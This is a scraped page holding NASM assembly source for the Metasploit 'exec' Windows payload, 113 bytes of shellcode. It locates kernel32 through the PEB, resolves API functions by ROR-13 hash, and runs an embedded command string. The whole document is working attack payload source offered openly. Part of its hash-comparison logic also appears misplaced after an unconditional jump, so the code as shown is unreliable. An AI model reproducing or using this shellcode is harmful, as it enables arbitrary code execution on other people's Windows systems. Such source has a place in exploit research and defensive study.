62 lines
851 B
NASM
62 lines
851 B
NASM
;
|
|
; Metasploit Framework
|
|
; http://www.metasploit.com
|
|
;
|
|
; Source for exec (single)
|
|
;
|
|
; Authors: vlad902 <vlad902@gmail.com>
|
|
; Size : 113
|
|
;
|
|
|
|
cld
|
|
call startup
|
|
mov eax,[ebp+0x3c]
|
|
mov edi,[ebp+eax+0x78]
|
|
add edi,ebp
|
|
mov ecx,[edi+0x18]
|
|
mov ebx,[edi+0x20]
|
|
add ebx,ebp
|
|
next_export:
|
|
dec ecx
|
|
mov esi,[ebx+ecx*4]
|
|
add esi,ebp
|
|
xor eax,eax
|
|
cdq
|
|
next_byte:
|
|
lodsb
|
|
test al,al
|
|
jz hash_complete
|
|
ror edx,0xd
|
|
add edx,eax
|
|
jmp short next_byte
|
|
cmp edx,[esp+0x4]
|
|
jnz next_export
|
|
hash_complete:
|
|
mov ebx,[edi+0x24]
|
|
add ebx,ebp
|
|
mov cx,[ebx+ecx*2]
|
|
mov ebx,[edi+0x1c]
|
|
add ebx,ebp
|
|
mov ebx,[ebx+ecx*4]
|
|
add ebx,ebp
|
|
mov [esp+0x4],ebx
|
|
ret
|
|
startup:
|
|
pop edi
|
|
xor esi,esi
|
|
pusha
|
|
push esi
|
|
mov eax,[fs:esi+0x30]
|
|
mov eax,[eax+0xc]
|
|
mov esi,[eax+0x1c]
|
|
lodsd
|
|
mov ebp,[eax+0x8]
|
|
mov eax,edi
|
|
add eax,byte +0x6a
|
|
push eax
|
|
push dword 0x5f048af0
|
|
push dword 0xe8afe98
|
|
push edi
|
|
jmp edi
|
|
db "command string"
|